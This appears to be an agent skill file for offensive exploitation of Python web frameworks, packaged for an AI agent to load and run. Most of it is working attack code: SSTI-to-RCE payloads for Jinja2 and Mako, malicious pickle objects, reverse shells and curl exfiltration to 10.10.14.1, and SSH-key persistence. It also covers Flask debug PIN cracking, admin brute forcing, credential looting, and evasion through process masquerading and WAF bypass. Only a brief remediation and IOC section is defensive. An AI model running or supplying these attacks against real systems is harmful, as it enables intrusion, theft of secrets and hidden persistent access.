---
name: rt-exploit-python
description: "Python web framework exploitation skill. Covers Jinja2/Mako SSTI (Server-Side Template Injection) to RCE, Django SSTI and admin panel exploitation, Flask debug console exploitation, Python pickle deserialization RCE, and Python eval/exec injection. Targets Django, Flask, FastAPI, Tornado applications."
---

# rt-exploit-python — Python Web Framework Exploitation

## 1. Overview and When to Use

This skill covers exploitation of Python-based web frameworks including Django, Flask, FastAPI, and Tornado. The primary attack vectors are:

- **SSTI (Server-Side Template Injection)** — Jinja2, Mako, Tornado templates processed with unsanitized user input
- **Flask Debug Console** — Werkzeug interactive debugger exposed in production with PIN bypass
- **Django Admin Panel** — Default `/admin/` with weak credentials or SSTI in custom templates
- **Python Pickle Deserialization** — Unsafe `pickle.loads()` on attacker-controlled data
- **eval/exec Injection** — Dynamic code execution sinks receiving user input

**When to use this skill:**
- Target is running a Python web application (confirmed via headers, error pages, or recon)
- You observe template syntax reflected in responses (`{{7*7}}` → `49`)
- Error pages reveal Werkzeug/Django debug stack traces
- You find endpoints accepting serialized data (cookies, API payloads)
- Admin panels are exposed with default or brute-forceable credentials
- Source code review reveals unsafe `eval()`, `exec()`, or `pickle.loads()` calls

---

## 2. Prerequisites and Setup

### Tools Required

```bash
# Core tools
pip install tplmap           # SSTI detection and exploitation framework
pip install requests         # HTTP client for manual exploitation
pip install pwntools          # Payload crafting and shellcode

# Optional but recommended
pip install flask             # Local testing environment
pip install django            # Django payload testing

# System tools
which python3
which curl
which nc                      # netcat for reverse shells
which burpsuite               # Proxy for request manipulation
```

### Environment Setup

```bash
# Set up isolated workspace
mkdir -p ~/rt-python-exploit/{payloads,loot,logs}
cd ~/rt-python-exploit

# Configure proxy if using Burp Suite
export HTTP_PROXY="http://127.0.0.1:8080"
export HTTPS_PROXY="http://127.0.0.1:8080"

# Listener for reverse shells
nc -lvnp 4444 &

# Clone useful wordlists
git clone https://github.com/danielmiessler/SecLists /opt/SecLists
```

### Identify Python Framework

```bash
# Check response headers
curl -si https://target.com/ | grep -i "server\|x-powered\|x-django\|werkzeug"

# Common indicators:
# Server: Werkzeug/2.x.x Python/3.x.x  → Flask
# X-Frame-Options: DENY + CSRF middleware → Django
# Error pages with Jinja2 tracebacks → Flask/Jinja2
# /admin/ with "Django administration" → Django

# Check for debug endpoints
curl -si https://target.com/console      # Werkzeug debug console
curl -si https://target.com/__debug__    # Django debug toolbar
curl -si https://target.com/debug        # Generic debug endpoint
```

---

## 3. Skill Levels

### BEGINNER — Detection and Basic Injection

```bash
# 1. Detect SSTI with math expression
curl "https://target.com/page?name={{7*7}}"
# Expected vulnerable response: 49 (not {{7*7}})

# 2. Detect Jinja2 vs Mako vs Tornado
curl "https://target.com/search?q={{7*'7'}}"
# Jinja2 result: 7777777
# Twig result:   49
# Not vulnerable: {{7*'7'}}

# 3. Run tplmap for automated detection
python3 tplmap.py -u "https://target.com/page?name=test"

# 4. Check for Flask debug mode
curl -si "https://target.com/console" | grep "Werkzeug"
```

### INTERMEDIATE — SSTI to RCE, Admin Access

```bash
# 1. Read /etc/passwd via SSTI
curl "https://target.com/page?name={{request.application.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd').read()}}"

# 2. Django admin brute force
hydra -L /opt/SecLists/Usernames/top-usernames-shortlist.txt \
      -P /opt/SecLists/Passwords/Common-Credentials/10k-most-common.txt \
      target.com http-post-form "/admin/login/:username=^USER^&password=^PASS^&csrfmiddlewaretoken=TOKEN:Please enter"

# 3. tplmap with OS command
python3 tplmap.py -u "https://target.com/page?name=test" --os-cmd "id"

# 4. Flask debug PIN calculation (see Section 5)
python3 flask_pin_calc.py --machine-id /proc/sys/kernel/random/boot_id --mac 02:42:ac:11:00:02
```

### ADVANCED — Sandbox Escape, Pickle RCE

```bash
# 1. Jinja2 sandbox escape via MRO traversal
curl "https://target.com/page?name={{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}"

# 2. Generate pickle RCE payload
python3 -c "
import pickle, os, base64
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('bash -c \"bash -i >& /dev/tcp/10.10.14.1/4444 0>&1\"',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"

# 3. Bypass Jinja2 restrictions with attr filter
curl "https://target.com/?x={{''.attr('__class__').attr('__mro__')[1].attr('__subclasses__')()[104].attr('__init__').attr('__globals__')['popen']('id').read()}}"

# 4. FastAPI SSTI via Jinja2 custom template
curl -X POST "https://target.com/render" \
  -H "Content-Type: application/json" \
  -d '{"template": "{{config.__class__.__init__.__globals__[\"os\"].popen(\"id\").read()}}"}'
```

### EXPERT — Chained Attacks, Full Compromise

```bash
# 1. SSTI → write SSH key → persistent access
PAYLOAD='{{request.application.__globals__.__builtins__.__import__("os").popen("echo ssh-rsa AAAA...KEY... >> /root/.ssh/authorized_keys").read()}}'
curl -G "https://target.com/page" --data-urlencode "name=$PAYLOAD"

# 2. Pickle via JWT with alg=none bypass
python3 jwt_pickle_exploit.py --target https://target.com/api/profile \
  --lhost 10.10.14.1 --lport 4444

# 3. Django admin → file manager plugin → webshell
# After admin login, abuse Django FileField or custom admin actions
curl -X POST "https://target.com/admin/app/userprofile/upload/" \
  -b "sessionid=STOLEN_SESSION; csrftoken=TOKEN" \
  -F "file=@shell.py"

# 4. Mako SSTI (different syntax)
curl "https://target.com/page?name=\${__import__('os').popen('id').read()}"
```

---

## 4. Step-by-Step Workflow

### Phase 1: Reconnaissance and Framework Fingerprinting

```
1. Identify Python application via headers/error pages
2. Enumerate endpoints: /admin/, /api/, /debug/, /console/
3. Identify template engine (Jinja2, Mako, Tornado, Django templates)
4. Map input vectors: GET/POST params, headers, cookies, JSON fields
5. Review JavaScript source for API endpoints and parameter names
```

### Phase 2: SSTI Detection

```
1. Inject detection polyglot into all input vectors
2. Confirm injection with math expression {{7*7}} → 49
3. Fingerprint engine with {{7*'7'}} vs ${7*7} vs #{7*7}
4. Test in headers: X-Forwarded-For, User-Agent, Referer
5. Test in JSON bodies, XML payloads, file upload filenames
```

### Phase 3: Exploitation Path Selection

```
1. If SSTI confirmed → proceed to RCE via MRO traversal or globals
2. If debug console found → calculate/bypass PIN
3. If admin panel exposed → credential attack → authenticated exploitation
4. If serialization endpoint found → generate pickle payload
5. If source code available → grep for eval/exec/pickle sinks
```

### Phase 4: RCE Achievement

```
1. Execute id, whoami to confirm code execution
2. Read /etc/passwd, /proc/version for system fingerprinting
3. Check sudo -l for privilege escalation paths
4. Establish reverse shell or write webshell
5. Dump environment variables (may contain secrets, DB creds)
```

### Phase 5: Post-Exploitation

```
1. Dump Django settings.py (SECRET_KEY, DATABASE settings)
2. Extract database credentials and dump user tables
3. Collect API keys from environment variables
4. Establish persistence (SSH keys, cron, systemd service)
5. Document all findings with timestamps and screenshots
```

---

## 5. Payload Examples with Explanations

### 5.1 Jinja2 SSTI Detection Chain

```python
# Step 1: Basic math — confirms template execution
{{7*7}}
# Returns: 49

# Step 2: String multiplication — fingerprints Jinja2 specifically
{{7*'7'}}
# Jinja2 returns: 7777777
# Python eval would return: TypeError

# Step 3: Config object access — Jinja2/Flask specific
{{config}}
# Returns Flask config dict including SECRET_KEY

# Step 4: Self object (Flask)
{{self.__dict__}}
# Returns internal object attributes
```

### 5.2 Jinja2 to RCE via MRO (Method Resolution Order)

```python
# Full payload — explained line by line:
{{''.__class__.__mro__[1].__subclasses__()}}
# ''         → empty string object
# .__class__ → str class
# .__mro__   → [str, object] — Method Resolution Order
# [1]        → object (base Python class)
# .__subclasses__() → ALL subclasses of object in memory

# Find index of subprocess.Popen or file class:
{{''.__class__.__mro__[1].__subclasses__() | join(',')}}

# After finding index (e.g., 245 for subprocess.Popen):
{{''.__class__.__mro__[1].__subclasses__()[245]('id',shell=True,stdout=-1).communicate()[0].strip()}}

# Alternative: os.popen via __builtins__
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# request.application → Flask app object
# .__globals__        → module-level globals
# .__builtins__       → Python built-ins dict
# .__import__('os')   → import the os module
# .popen('id').read() → execute command, read output
```

### 5.3 Jinja2 Sandbox Escape Techniques

```python
# Technique 1: Using lipsum global (Flask/Jinja2)
{{lipsum.__globals__["os"].popen("id").read()}}
# lipsum is a Jinja2 global that has access to Python globals

# Technique 2: Using url_for global
{{url_for.__globals__["os"].popen("id").read()}}

# Technique 3: Using get_flashed_messages
{{get_flashed_messages.__globals__["os"].popen("id").read()}}

# Technique 4: Using cycler (Jinja2 extension)
{{cycler.__init__.__globals__.os.popen("id").read()}}

# Technique 5: attr filter bypass (WAF evasion)
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
# \x5f = underscore — bypasses WAF rules filtering "__"
```

### 5.4 Flask Debug Console PIN Bypass

```python
# Flask/Werkzeug debug console is at /console
# Protected by PIN — can be calculated if you have RCE or LFI

# PIN calculation requires (read via LFI or partial SSTI):
# 1. /etc/machine-id OR /proc/sys/kernel/random/boot_id
# 2. MAC address from /proc/net/arp or /sys/class/net/eth0/address
# 3. App's __name__ and module path (from error page tracebacks)

python3 << 'EOF'
import hashlib
import itertools

# Values gathered from target
username = "www-data"             # Process owner (from /proc/self/status or ps)
modname = "flask.app"            # Always flask.app for Flask apps
appname = "wsgi_app"             # Flask app object name (from error page)
flask_path = "/usr/local/lib/python3.9/dist-packages/flask/app.py"  # From traceback
node_uuid = "0242ac110002"       # MAC address without colons (from /proc/net/arp)
machine_id = "a4ecc671-3bc7-4b0c-b7b0-a7e93df44e5a"  # /etc/machine-id

# Build the hash
h = hashlib.md5()
for val in [username, modname, appname, flask_path, node_uuid, machine_id]:
    h.update(val.encode("utf-8") + b"\n")

# Generate PIN
num = int(h.hexdigest(), 16)
rv = None
for group_size in 5, 4, 3:
    if len(str(num)) % group_size == 0:
        rv = "-".join(
            itertools.islice(iter(lambda i=iter(str(num)): "".join([next(i)] * group_size), None), None)
        )
        break
print(f"Calculated PIN: {rv}")
EOF

# Once you have the PIN, access the console:
# Navigate to: https://target.com/console
# Enter PIN → interactive Python REPL → execute arbitrary code
```

### 5.5 Python Pickle Deserialization RCE

```python
# Pickle RCE — __reduce__ method is called during deserialization

import pickle
import os
import base64

# Basic reverse shell payload
class ReverseShell(object):
    def __init__(self, lhost, lport):
        self.lhost = lhost
        self.lport = lport

    def __reduce__(self):
        cmd = f"bash -c 'bash -i >& /dev/tcp/{self.lhost}/{self.lport} 0>&1'"
        return (os.system, (cmd,))

# Generate and base64-encode payload
payload = ReverseShell("10.10.14.1", 4444)
encoded = base64.b64encode(pickle.dumps(payload)).decode()
print(f"Payload: {encoded}")

# Delivery methods:
# 1. Cookie: Set-Cookie: session=<base64_payload>
# 2. POST body: data=<url_encoded_base64_payload>
# 3. File upload: upload pickle file, trigger deserialization

# Send payload
import requests
cookies = {"session": encoded}
r = requests.get("https://target.com/profile", cookies=cookies)

# Alternative — command execution without reverse shell (for blind scenarios)
class CmdExec(object):
    def __reduce__(self):
        return (os.popen, ("curl http://10.10.14.1:8080/$(whoami)",))
```

### 5.6 Django SSTI (Custom Templates)

```python
# Django's default template engine does NOT execute arbitrary Python
# However, custom tags or Jinja2 as Django's backend enables SSTI

# If Django configured with Jinja2 backend (settings.py TEMPLATES backend):
# Same Jinja2 payloads apply

# Django-specific: template filter injection
# If user input is rendered as: {{ user_input | safe }}
# And custom template tag calls eval():

# Django settings.py disclosure via SSTI (if Jinja2 backend):
{{settings.SECRET_KEY}}
{{settings.DATABASES}}
{{settings.AWS_ACCESS_KEY_ID}}

# Read Django settings via os.environ:
{{request.application.__globals__.__builtins__.__import__('os').environ['DJANGO_SECRET_KEY']}}
```

### 5.7 Mako Template SSTI

```python
# Mako uses ${} for expressions and <%> for code blocks
# Pyramid, some Flask apps use Mako

# Basic detection
${7*7}           # Returns 49
${7*'7'}         # Returns 7777777

# Direct code execution (no sandbox in Mako by default)
${__import__('os').popen('id').read()}

# Multi-line code block
<%
import os
x = os.popen('cat /etc/passwd').read()
%>
${x}

# With request context in Pyramid:
${request.environ}
```

### 5.8 eval/exec Injection

```python
# Grep for dangerous sinks in source code (if available):
# grep -r "eval(" app/ --include="*.py"
# grep -r "exec(" app/ --include="*.py"
# grep -r "compile(" app/ --include="*.py"

# Example vulnerable code:
# result = eval(request.args.get('expr'))

# Payload progression:
# Detection:
expr=7+7                          # Returns 14

# OS command:
expr=__import__('os').popen('id').read()

# Reverse shell:
expr=__import__('os').system('bash+-c+"bash+-i+>&+/dev/tcp/10.10.14.1/4444+0>&1"')

# Bypass quote filtering:
expr=__import__('os').popen(chr(105)+chr(100)).read()   # 'id' via chr()
```

---

## 6. Tool Commands with Flags Explained

### tplmap

```bash
# Basic scan
python3 tplmap.py -u "https://target.com/page?name=test"
# -u    URL with injection point marked by asterisk or autodetected

# Specify injection point explicitly
python3 tplmap.py -u "https://target.com/page?name=test*"
# *     Marks exact injection point within parameter value

# POST request
python3 tplmap.py -u "https://target.com/search" \
  -d "query=test" \
  -X POST
# -d    POST data
# -X    HTTP method

# Specify template engine (skip detection)
python3 tplmap.py -u "https://target.com/page?name=test" \
  --engine Jinja2
# --engine   Force specific engine (Jinja2, Mako, Twig, Tornado, etc.)

# Execute OS command
python3 tplmap.py -u "https://target.com/page?name=test" \
  --os-cmd "cat /etc/passwd"
# --os-cmd   Execute system command through SSTI

# Reverse shell
python3 tplmap.py -u "https://target.com/page?name=test" \
  --os-shell
# --os-shell  Interactive shell through template injection

# Bind shell
python3 tplmap.py -u "https://target.com/page?name=test" \
  --bind-shell 4444
# --bind-shell  Open bind shell on target port

# Upload file
python3 tplmap.py -u "https://target.com/page?name=test" \
  --upload /tmp/shell.py /var/www/html/shell.py
# --upload  Upload local file to remote path

# Custom headers
python3 tplmap.py -u "https://target.com/page" \
  -H "X-Forwarded-For: test" \
  -H "Authorization: Bearer TOKEN"
# -H    Add custom headers (test headers for SSTI too)

# Through Burp proxy
python3 tplmap.py -u "https://target.com/page?name=test" \
  --proxy http://127.0.0.1:8080
# --proxy  Route through Burp/MITM proxy

# Cookies
python3 tplmap.py -u "https://target.com/page" \
  --cookie "session=eyJ...; csrftoken=ABC"
# --cookie  Include session cookies
```

### curl for Manual Exploitation

```bash
# URL-encoded SSTI payload
curl -G "https://target.com/page" \
  --data-urlencode "name={{config}}" \
  -b "sessionid=XXXX" \
  -H "User-Agent: Mozilla/5.0" \
  -k -s
# -G              Send as GET request with --data as query string
# --data-urlencode  URL-encode the value
# -b              Cookie header
# -k              Skip TLS verification
# -s              Silent mode

# POST with JSON payload
curl -X POST "https://target.com/api/render" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer TOKEN" \
  -d '{"template": "{{7*7}}"}' \
  -v
# -v    Verbose — shows full request/response headers

# Follow redirects and save response
curl -L "https://target.com/page?name={{7*7}}" \
  -o response.html \
  -c cookies.txt \
  -b cookies.txt
# -L    Follow redirects
# -o    Save output to file
# -c    Save cookies to file
# -b    Read cookies from file
```

### Hydra for Django Admin Brute Force

```bash
# Django admin login brute force
hydra -l admin \
  -P /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt \
  target.com \
  http-post-form \
  "/admin/login/:username=^USER^&password=^PASS^&csrfmiddlewaretoken=STATIC_TOKEN:Please enter the correct"
# -l          Single username
# -P          Password wordlist
# http-post-form  POST form attack module
# /path/:data:fail_string  Path, form data, failure string

# With CSRF token (requires manual extraction first):
# 1. GET /admin/login/ → extract csrfmiddlewaretoken from HTML
# 2. Include static token in hydra command (valid for session)
# Better: use Burp Intruder for CSRF-protected forms

# Multiple usernames
hydra -L /opt/SecLists/Usernames/top-usernames-shortlist.txt \
  -P /opt/SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt \
  -t 4 \
  target.com \
  http-post-form \
  "/admin/login/:username=^USER^&password=^PASS^&csrfmiddlewaretoken=TOKEN:errornote"
# -t 4    4 parallel threads (Django rate limits aggressively, keep low)
```

### Python Exploit Scripts

```bash
# Pickle payload generator
python3 -c "
import pickle, os, base64, sys
cmd = sys.argv[1] if len(sys.argv) > 1 else 'id'
class E:
    def __reduce__(self): return os.system, (cmd,)
print(base64.b64encode(pickle.dumps(E())).decode())
" "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"

# Test pickle locally before sending
python3 -c "
import pickle, base64
payload = 'YOUR_BASE64_PAYLOAD_HERE'
pickle.loads(base64.b64decode(payload))  # Will execute locally for testing
"
```

---

## 7. Real-World Attack Scenarios

### Scenario 1: Flask App with SSTI in Email Template Feature

**Context:** E-commerce platform allows customers to customize order confirmation email templates. The feature uses Jinja2 and renders user-supplied template strings server-side.

**Reconnaissance:**
```bash
# Discover the feature endpoint
curl -s "https://shop.target.com/account/email-template" -b "session=TOKEN"
# Response includes textarea for template customization

# Test SSTI
curl -X POST "https://shop.target.com/account/email-template/preview" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -b "session=TOKEN; csrftoken=CSRF" \
  -d "template={{7*7}}&csrfmiddlewaretoken=CSRF"
# Response: "49" confirms SSTI
```

**Exploitation:**
```bash
# Step 1: Confirm RCE
curl -X POST "https://shop.target.com/account/email-template/preview" \
  -b "session=TOKEN; csrftoken=CSRF" \
  --data-urlencode "template={{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}" \
  --data "csrfmiddlewaretoken=CSRF"
# Response: "uid=33(www-data) gid=33(www-data)"

# Step 2: Dump Flask config (SECRET_KEY for session forgery)
curl -X POST "https://shop.target.com/account/email-template/preview" \
  -b "session=TOKEN; csrftoken=CSRF" \
  --data-urlencode "template={{config}}" \
  --data "csrfmiddlewaretoken=CSRF"
# Response: Config dict with SECRET_KEY exposed

# Step 3: Dump environment variables (cloud credentials)
PAYLOAD="{{request.application.__globals__.__builtins__.__import__('os').environ}}"
# Look for: AWS_ACCESS_KEY_ID, DATABASE_URL, STRIPE_SECRET_KEY

# Step 4: Reverse shell
PAYLOAD="{{request.application.__globals__.__builtins__.__import__('os').popen('bash -c \"bash -i >& /dev/tcp/10.10.14.1/4444 0>&1\"').read()}}"

# Step 5: Forge admin session with SECRET_KEY
pip install flask-unsign
flask-unsign --sign --secret 'LEAKED_SECRET_KEY' \
  --cookie '{"user_id": 1, "role": "admin"}'
```

**Impact:** Full RCE, session forgery, credential exposure, lateral movement to cloud infrastructure.

---

### Scenario 2: Django App Debug Mode Exposed in Production

**Context:** Django application accidentally deployed with `DEBUG=True`. Werkzeug debug console accessible at `/console`. Target is a healthcare portal.

**Reconnaissance:**
```bash
# Discover debug console
curl -si "https://portal.target.com/console" | head -20
# Response: HTTP 200, "Werkzeug Debugger" in body

# Get machine info from debug error pages to calculate PIN
# Trigger a deliberate 500 error
curl "https://portal.target.com/?x={{UNDEFINED}}"
# Error page reveals: Python version, app path, module structure

# Alternatively, check if LFI exists elsewhere to read system files
curl "https://portal.target.com/static/../../../etc/machine-id"
```

**PIN Calculation:**
```bash
# Gather required values from error pages and recon:
# - username: www-data (from error page or ps aux via LFI)
# - flask_path: /usr/local/lib/python3.9/site-packages/flask/app.py
# - MAC: from /proc/net/arp or /sys/class/net/eth0/address
# - machine-id: from /etc/machine-id via LFI

python3 pin_calculator.py \
  --username www-data \
  --flask-path /usr/local/lib/python3.9/site-packages/flask/app.py \
  --mac 02:42:c0:a8:01:05 \
  --machine-id "b3d29d72-5c3f-4b2e-b1a3-abc123def456"
# Output: Calculated PIN: 123-456-789

# Enter PIN at /console → Python REPL
# Execute in console:
import os; os.popen('cat /etc/passwd').read()
import subprocess; subprocess.check_output(['find', '/home', '-name', '*.py'])

# Django database dump
import django
os.environ['DJANGO_SETTINGS_MODULE'] = 'app.settings'
from django.contrib.auth.models import User
[(u.username, u.password) for u in User.objects.all()]
```

**Impact:** Complete server compromise, database access, user credential extraction, patient data exposure.

---

### Scenario 3: FastAPI Endpoint with Pickle Deserialization

**Context:** Internal API gateway uses Python pickle to cache user preferences in Redis. An exposed API endpoint accepts base64-encoded "preferences" parameter that gets deserialized.

**Reconnaissance:**
```bash
# Identify API structure
curl "https://api.target.com/docs"  # FastAPI auto-generates /docs
curl "https://api.target.com/openapi.json"  # OpenAPI spec

# Find preferences endpoint
curl "https://api.target.com/user/preferences" \
  -H "Authorization: Bearer VALID_TOKEN"
# Response: {"preferences": "gASVA...BASE64..."}
# gASV is base64 of pickle magic bytes \x80\x04\x95

# Confirm pickle by decoding response
python3 -c "
import base64, pickle
data = 'gASVA...BASE64...'
prefs = pickle.loads(base64.b64decode(data))
print(type(prefs), prefs)
"
```

**Exploitation:**
```bash
# Step 1: Generate malicious pickle payload
python3 << 'EOF'
import pickle, os, base64

class RCE(object):
    def __reduce__(self):
        # Write SSH public key for persistence
        cmd = "mkdir -p /root/.ssh && echo 'ssh-rsa AAAA...PUBKEY...' >> /root/.ssh/authorized_keys"
        return (os.system, (cmd,))

payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(f"Malicious payload: {payload}")
EOF

# Step 2: Submit malicious payload
curl -X PUT "https://api.target.com/user/preferences" \
  -H "Authorization: Bearer VALID_TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"preferences\": \"MALICIOUS_BASE64_PAYLOAD\"}"

# Step 3: Trigger deserialization
curl "https://api.target.com/user/preferences" \
  -H "Authorization: Bearer VALID_TOKEN"
# Server deserializes the payload → SSH key written → persistent access

# Step 4: Connect with SSH
ssh -i ~/.ssh/id_rsa root@api.target.com

# Alternative — reverse shell via curl exfil (blind)
python3 << 'EOF'
import pickle, os, base64

class BlindRCE(object):
    def __reduce__(self):
        cmd = "curl http://10.10.14.1:8080/$(cat /etc/hostname | base64 -w0)"
        return (os.system, (cmd,))

print(base64.b64encode(pickle.dumps(BlindRCE())).decode())
EOF
# Start listener: python3 -m http.server 8080
# Receive request with base64-encoded hostname → confirms RCE
```

**Impact:** Unauthenticated RCE via authenticated API endpoint, persistent root access, supply chain risk if internal API used by other services.

---

## 8. Detection and OPSEC Considerations

### Detection Risks

```
HIGH DETECTION RISK:
- Automated tplmap scans generate distinctive HTTP patterns
- Failed SSTI attempts create 500 errors logged server-side
- Reverse shell connections appear in netflow/firewall logs
- Django admin brute force triggers account lockouts and WAF alerts

MEDIUM DETECTION RISK:
- Manual SSTI testing with math payloads ({{7*7}})
- Reading system files (/etc/passwd) — may trigger EDR/file audit
- Django admin login from unusual IP/geolocation

LOW DETECTION RISK:
- Initial framework fingerprinting via headers
- Reviewing publicly exposed /docs, /api/schema endpoints
```

### OPSEC Techniques

```bash
# 1. Route through proxy/VPN — never use direct attacker IP
export HTTP_PROXY="http://PROXY_IP:PORT"

# 2. Slow down requests to avoid rate limiting
# Use --delay in tplmap, add sleep between manual requests

# 3. Use innocuous-looking payloads first
# {{7*7}} is far less suspicious than __import__('os')
# Build up slowly: detect → confirm → exploit

# 4. Avoid noisy tools on production systems
# Manual curl > automated scanners during active engagements

# 5. Clean up after yourself
# Remove uploaded webshells, authorized_keys entries
# Restore original configuration if modified

# 6. Use existing process names for spawned shells
# Name your nc listener process to match existing services
bash -c 'exec -a "apache2" bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'

# 7. Encode payloads to evade WAF/IDS
# Base64 encode command strings:
python3 -c "import base64; print(base64.b64encode(b'id').decode())"
# Payload: {{request.application.__globals__.__builtins__.__import__('base64').b64decode('aWQ=').decode()}}
# Then pipe through: {{...popen(base64.b64decode('aWQ=').decode()).read()}}

# 8. WAF bypass techniques
# Use URL encoding: %7B%7B7*7%7D%7D
# Use Unicode: {{7*7}}  
# Split payload across multiple parameters if concatenated server-side
# Use Jinja2 filters as alternative syntax: {{7|string}} vs {{7}}
```

### Indicators of Compromise (IOC) — What Blue Team Looks For

```
- HTTP 500 responses with Jinja2/Python tracebacks in logs
- Requests containing: __class__, __mro__, __subclasses__, __globals__
- Requests containing: popen, subprocess, os.system, __import__
- Unusual outbound connections from web server process
- New entries in /root/.ssh/authorized_keys
- Cron jobs or systemd services created by www-data
- High volume POST requests to same endpoint (brute force)
```

---

## 9. Output and Documentation

### Capturing Evidence

```bash
# All commands — save output with timestamps
exec > >(tee -a ~/rt-python-exploit/logs/session-$(date +%Y%m%d-%H%M%S).log) 2>&1

# Screenshot tool output
tplmap.py ... 2>&1 | tee ~/rt-python-exploit/logs/tplmap-$(date +%s).txt

# Save all HTTP responses
curl ... -D ~/rt-python-exploit/logs/headers-$(date +%s).txt \
         -o ~/rt-python-exploit/logs/response-$(date +%s).html

# Document RCE proof
curl "https://target.com/page?name={{...id_payload...}}" \
  -o ~/rt-python-exploit/loot/rce-proof-$(date +%s).txt

# Capture loot
# - /etc/passwd, /etc/shadow
# - Django SECRET_KEY
# - Database credentials (settings.py, DATABASE_URL env var)
# - API keys from environment
# - SSH private keys in /home/*/.ssh/
```

### Finding Documentation Template

```markdown
## Finding: Server-Side Template Injection (SSTI) → RCE

**Severity:** Critical
**CVSS:** 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

**URL:** https://target.com/page?name=[PAYLOAD]
**Parameter:** name (GET)
**Template Engine:** Jinja2
**Framework:** Flask 2.3.1 / Python 3.9.7

**Proof of Concept:**
Request:  GET /page?name={{7*7}}
Response: 49

**RCE Payload:**
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

**RCE Output:**
uid=33(www-data) gid=33(www-data) groups=33(www-data)

**Business Impact:**
Full remote code execution on web server. Attacker can read/write all files,
establish persistence, pivot to internal network, and exfiltrate customer data.

**Remediation:**
- Never render user-supplied strings as Jinja2 templates
- Use template.render(user_data=value) — pass data as variables, not template strings
- Enable Jinja2 sandbox: SandboxedEnvironment() — note this can be bypassed
- Implement strict input validation and WAF rules for template syntax
```

---

## 10. Resources

### Official Documentation
- Jinja2 Sandbox: https://jinja.palletsprojects.com/en/3.1.x/sandbox/
- Django Security: https://docs.djangoproject.com/en/4.2/topics/security/
- Werkzeug Debugger: https://werkzeug.palletsprojects.com/en/2.3.x/debug/

### Research and Exploit Databases
- PayloadsAllTheThings SSTI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
- HackTricks SSTI: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
- HackTricks Pickle: https://book.hacktricks.xyz/pentesting-web/deserialization#pickle
- PortSwigger SSTI: https://portswigger.net/web-security/server-side-template-injection

### Tools
- tplmap (SSTI scanner/exploiter): https://github.com/epinna/tplmap
- flask-unsign (Flask session forgery): https://github.com/Paradoxis/Flask-Unsign
- fickling (pickle analysis): https://github.com/trailofbits/fickling
- Burp Suite SSTI extensions: https://github.com/portswigger/server-side-template-injection

### Wordlists
- SecLists SSTI payloads: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/Server-Side-Template-Injection
- FuzzDB SSTI: https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/server-side-inject

### CTF Writeups and Research
- Jinja2 sandbox escape research: https://github.com/0x09AL/jinja2-sandbox-escape
- Flask PIN bypass research: https://www.bengrewell.com/cracking-flask-werkzeug-debugger-pin
- Pickle exploitation deep dive: https://checkmarx.com/blog/python-pickle-module-is-not-safe
- Django SSTI scenarios: https://www.cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti

### CVE References
- CVE-2019-8341 — Jinja2 SSTI in various products
- CVE-2021-32762 — Django template injection variants  
- CVE-2022-24999 — Werkzeug debug PIN bypass conditions

---

## Quick Reference Card

```
DETECTION PAYLOADS:
  {{7*7}}          → Jinja2/Twig/Mako (returns 49)
  ${7*7}           → Mako/Tornado (returns 49)
  #{7*7}           → Ruby ERB (different target)
  {{7*'7'}}        → Jinja2=7777777, Twig=49

JINJA2 QUICK RCE:
  {{lipsum.__globals__["os"].popen("id").read()}}
  {{url_for.__globals__["os"].popen("id").read()}}
  {{cycler.__init__.__globals__.os.popen("id").read()}}

FLASK CONFIG LEAK:
  {{config}}
  {{config.items()}}

DJANGO SETTINGS:
  {{settings.SECRET_KEY}}
  {{settings.DATABASES}}

MAKO QUICK RCE:
  ${__import__('os').popen('id').read()}

TPLMAP ONE-LINER:
  python3 tplmap.py -u "URL?param=test" --os-shell

FLASK PIN FILES:
  /etc/machine-id
  /proc/sys/kernel/random/boot_id  
  /sys/class/net/eth0/address      → MAC address
  /proc/self/cgroup                → Docker container ID

PICKLE MAGIC BYTES: \x80\x04\x95 (base64: gASV)
```
